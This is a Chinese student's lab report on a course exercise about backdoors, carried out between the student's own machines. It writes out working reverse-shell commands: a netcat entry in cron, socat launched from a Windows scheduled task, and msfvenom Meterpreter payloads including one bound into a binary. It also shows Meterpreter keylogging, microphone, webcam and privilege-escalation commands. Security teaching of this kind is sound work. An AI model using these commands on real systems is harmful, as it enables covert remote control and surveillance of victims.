zoukankan      html  css  js  c++  java
  • EXP 2 后门原理与实现

    EXP 2 后门原理与实现

    2.1 实验内容

    本次实验是进行简单的后门实现,主要是通过后门程序在目标机中的自启后建立同攻击机的链接,之后攻击机执行所想要进行的操作。基于后门原理,实现以下基本实验:

    • 使用netcat获取主机操作shell,cron启动。
    • 使用socat获取主机操作Shell,任务计划启动。
    • 使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机shell。
    • 使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容并尝试提权。
    • 可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

    2.2 实验步骤

    2.2.1 使用netcat获取主机操作shell,cron启动

    • 实验思路:cron启动是利用Linux中的定时任务来实现自启动。因此,只要将需要执行的necat命令写入到Linux的定时任务列表文件中就可以完成。
    • 首先我们在Linux中编辑一条定时任务,输入crontab -e命令来进入到编辑器中编辑命令。
    • 这里是用vim编辑的,我们在最后一行输入25 * * * * /bin/netcat 192.168.117.1 5103 -e /bin/sh 命令,表示在每小时25分的时候执行netcat连接命令,连接到我的win10主机5103端口。保存退出。

    • 这边win10打开cmd进入到我们netcat的目录下输入netcat.exe -l -p 5103 回车开始监听
    • 到达时间后,成功获取Linux的shell。

    2.2.2 使用socat获取主机操作Shell,任务计划启动

    • 实验思路:同上个实验原理类似,这个实验是Linux机为攻击机,win10机为目标机,利用windows系统中的任务计划来启动socat程序,连接到攻击机后攻击机取得win10的shell。
    • 这里首先可以在Linux机上准备好监听,输入 socat - tcp:192.168.117.1:5103 ,监听目标机5103端口上的tcp连接。
    • 然后我们在win10上先装好socat,再打开控制面版>管理工具>任务计划程序
    • 点击右边的创建任务,可以先命个名,然后到上方选项卡中触发器选项中创建一个触发器,我这里设置的开始任务是工作站锁定时(也就是我们锁定电脑的时候win+l,也可以设置为解锁的时,就是登陆界面输入密码后解锁后)。

    • 之后我们再到操作选项卡新建个操作,操作是启动程序,程序是我们的socat,将将路径选对就行,然后需要添加参数,输入tcp-listen:5103 exec:cmd.exe,pty,stderr大意是重定向cmd,绑定5103端口。之后创建完成

    • 这时我们win+l锁定一下win10,解锁后之前添加的任务开始运行。然后我们到Linux中运行我们之前输入的指令,就能成功得到win10的shell了。

    2.2.3 使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机shell

    • 实验思路:这里用到了MSF meterpreter软件,利用这个软件我们可以生成一个后门程序。将这个后门程序通过ncat传到win10主机中执行就可以进行我们的攻击了,这里是后门程序连到我们的攻击机中我们得到了win的shell。
    • 首先就是在Linux中输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.92.128 LPORT=5103 -f exe > 20165103_bd.exe
    • ip和端口号为攻击机的ip和需要监听的端口,之后就生成后门文件20165103_bd.exe,然后我们将这个文件用netcat传到win10目标机中。

    • 在win10的cmd中输入ncat.exe -l 5103 > 20165103_bd.exe,开始监听5103端口
    • 在Linux中输入nc 192.168.117.1 5103 < 20165103_bd.exe向目标主机发送我们的后门文件。传输完成后我们退出就行。
    • 之后我们开始进行攻击机上的操作,输入msfconsole指令,启动程序
    • 输入use exploit/multi/handler加载监听模块,输入set payload windows/meterpreter/reverse_tcp设置payload,输入set LHOST 192.168.92.128之后再输入set LPORT 5103 设置端口号和攻击机ip。

    • 然后输入exploit进行监听,这时我们回到目标机执行我们传过去的后门程序。

    • 这样我们就获得了目标机的shell

    2.2.4 使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容并尝试提权

    • 实验思路:承接上个实验,继续进行尝试获取一些目标机中的其他信息。
    • 首先我们可以用record_mic来录一段音,加上-d参数可以来设置时间(按秒来记)(emmm截图找不到了。。)

    • 可以用keyscan_startkeyscan_dump指令可以用来记录目标机击键(start是开始,dump是结束)

    • screenshot可以用来截取目标机的屏幕内容。

    • 使用getsystem可以对目标机进行提权,这里需要注意的是如果后门程序按正常启动是无法成功的,需要用管理员权限启动才能成功提权。

    • 使用webcam_snap指令可以使用摄像头拍照,使用webcam_stream指令可以使用摄像头进行录像。做到这里的时候我没法使用我的摄像头,尝试重装了驱动也不行,在win10中没有找到这个设备。结果表明,我win10的摄像头应该是坏了。。。希望以后有机会能尝试这个功能。

    2.2.5 可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

    • 这个我理解的是利用MSF生成一个shellcode然后我们把这个shellcode手动注入到pwn1中,有点类似实验一种的第三个实验。
    • 经过一番探索(此处省略好多,有时间补),发现我使用msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.92.128 LPORT=5103 -f c生成的shellcode并不能实现这个功能(至少现在还没调出来)

    • 这里暂时先按好多同学做的方式将shellcode直接写入pwn1中先做。。。
    • 命令是 msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.92.128 LPORT=5103 -x /root/pwn1 -f elf > pwn2 生成后拷到另一台kali(目标机)上,加上执行权限。

    • 之后就跟第3个实验一样了,攻击机监听目标机运行后门程序。

    • 有点好奇,准备尝试比对一下这个pwn2文件和我之前生成的区别在哪??

    2.3 基础问题回答

    例举你能想到的一个后门进入到你系统中的可能方式?

    • 这个我在查资料中无意见看到了一个这个,发现有不少种方式。比如有可能别有用心的人将后门程序绑定到正常程序上,然后发布到网上的一些软件网站(破解软件、外挂软件、播放器软件这些应该大概率有)还有就是网页挂载,或者由于Windows默认的文件后缀隐藏而造成的误点都有可能。

    例举你知道的后门如何启动起来(win及linux)的方式?

    • 用户自己点这个肯定不用说了,win的这个任务启动和linux的这个cron启动我们这次实验做过。感觉最隐蔽的就是和正常程序绑定在一起的(甚至有可能进程迁移绑定到系统进程中)。

    Meterpreter有哪些给你映像深刻的功能?

    • 这个的功能真的多,书上说的好多都感觉背后发凉。事实上感觉调用摄像头的功能感觉很厉害,可惜自己没法亲自尝试。其它比较印象深的就是提权、录音和键盘记录了,其它的有待自己慢慢尝试。

    如何发现自己有系统有没有被安装后门?

    • 其实杀毒软件对付做过免杀的后门感觉有点难,不过听说火绒挺好用的,毕竟杀毒软件还是能起到这个监控检测作用
    • 记得开防火墙,看有没有啥奇奇怪怪的port在工作
    • 虽然后门应该都会把自己伪装成正经程序,但是也可能有光天化日就此自曝俺就是后门的进程吧(这是要多。。。懒?)
    部分格式问题还请老师同学们见谅,尝试过程的超多截图就不放上来了,肝的太晚起来再完善~
  • 相关阅读:
    Cesium的类-Camera
    FTP文件操作之上传文件
    cnBlog 的windows live writer 客户端配置
    Windows 7 USB DVD Download Tool 制作的U盘无法启动安装Windows7 SP1
    存储过程中对于文本是两个单引号,而不是一个单引号或者一个双引号
    BackGroundWorker使用总结
    SQL中IN,NOT IN,EXISTS,NOT EXISTS的用法和差别
    T-SQL中default值的使用
    partial 的好处
    sql where 1=1和 0=1 的作用
  • 原文地址:https://www.cnblogs.com/8cloud33zzk/p/10586745.html
Copyright © 2011-2022 走看看